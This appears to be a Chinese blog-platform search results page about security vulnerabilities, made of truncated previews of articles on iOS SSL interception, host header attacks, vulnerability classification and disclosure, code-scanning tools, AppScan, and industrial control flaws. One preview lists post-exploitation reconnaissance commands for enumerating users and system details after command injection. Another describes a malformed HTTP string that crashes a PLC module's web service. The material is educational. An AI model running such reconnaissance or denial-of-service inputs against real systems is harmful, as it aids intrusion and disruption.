    根据ComputerWorld今日最新报道,iOS系统用户可能被任何人窥探加密的网络用户数据,也就是使用SSL加密的数据,对于普通用户来说使用https的网络协议。 赶紧更新最新的iOS补丁。当你使用PayPal, Bank等涉及个人帐户的...
  • 下面是根据笔者从事软件代码安全检测工作的经验以及对开源组件、第三库安全漏洞检测工具的市场调研所获得的资料,如有错误或不妥之处,还请各位指正。如果表格中有一些未知信息你了解,请给帮我补充。让我们更多的...
  • 安全漏洞之host头攻击漏洞 漏洞描述 渗透测试人员发现,抓包修改host头,在返回包中的base标签中的值会随host值改变,说明存在host头攻击漏洞。 漏洞建议 建议使用SERVER_NAME而不是hostheader。 脆弱性...
  • Web安全漏洞分类

    千次阅读 2012-10-15 13:54:24
    1.1 Web安全漏洞分类 Web安全漏洞可以分为两类:一类包括平台的安全漏洞,另一类是应用自身的安全漏洞。 1.1.1 Web平台的安全漏洞 Web平台自身的安全漏洞——许多Web应用程序共享的部分,例如Linux、Windows、...
  • 1.6.2 安全漏洞披露方式  针对漏洞的公开披露策略与道德准则,在安全社区中曾爆发无数次的辩论,归纳起来,主要有如下四种主要的安全漏洞披露方式。 (1) 完全公开披露  发现漏洞后直接向公众完全公开安全漏洞...
  • 包括北大软件CoBOT、奇虎测腾的代码卫士、360企业代码卫士、清华大学软件学院Tsmart代码分析工具集、腾讯TscanCode开源静态扫描工具,端玛企业级静态源代码扫描分析平台DMSCA、找八哥源代码安全检测系统等。...
  • Web安全漏洞的靶场演示

    千次阅读 多人点赞 2020-08-15 00:54:20
    命令执行漏洞 一般查看home目录,挖掘用户信息:ls -alh /home 查看具体用户的目录:ls -alh /home/用户名/ 查看系统信息:uname -a 利用ssh命令执行root权限命令 使用ssh 用户名@localhost通过ssh登录服务器是不...
  • 服务器安全漏洞修复

    千次阅读 2018-01-29 15:55:27
    1************************2017年8月发现漏洞1***************************** 漏洞名称: RHSA-2017:1100: nss and ...请参照Redhat安全公告RHSA-2017:1100了解受到影响的软件包和补丁细节,并对相应的软件包进行升
  • APPScan安全漏洞扫描

    千次阅读 2018-04-16 20:07:02
    IBM AppScan是一款非常好用且功能强大的Web 应用安全测试工具,曾以 Watchfire AppScan 的名称享誉业界,Rational AppScan 可自动化 Web 应用的安全漏洞评估工作,能扫描和检测所有常见的 Web 应用安全漏洞,例如 ...
  • 工控安全漏洞举例

    千次阅读 2017-02-13 20:30:23
    先来几个工控设备的漏洞栗子: 1. 协议漏洞 a) CP1W-C1F41模块的HTTP协议存在拒绝服务漏洞。通过客户端与CP1W-C1F41的80端口建立链接后,向其发送异常字符串“: ”(注:冒号后有空格),可导致CP1W-C1F41的HTTP...
  • 常见应用安全漏洞

    千次阅读 2016-07-14 17:53:42
    注入攻击漏洞,例如SQL、OS、LDAP注入。这些攻击发生在当不可信的数据作为命令或查询语句的一部分,被发送给解释器的时候,攻击者发送的恶意数据可以欺骗解释器,以执行计划外的命令或未授权的查询。 2.失效的身份...
  • adb backup安全漏洞

    千次阅读 2014-07-12 21:31:24
    1.adb backup 熟悉Android的童鞋应该都知道adb,
  • 关于rabbitmq安全漏洞的问题

    千次阅读 2017-02-17 09:48:46
    而最近呢,我们收到了一份关于安全漏洞扫描的文档,说我们的rabbitmq存在着一些安全漏洞问题,既然是有问题,自然是需要整改的,但是看完文档以后,发现这种安全漏洞问题似乎并不是很好解决。 文档中指出的问题主要...

空空如也

1 2 3 4 5 ... 20
收藏数 39,837
精华内容 15,934
关键字:

安全漏洞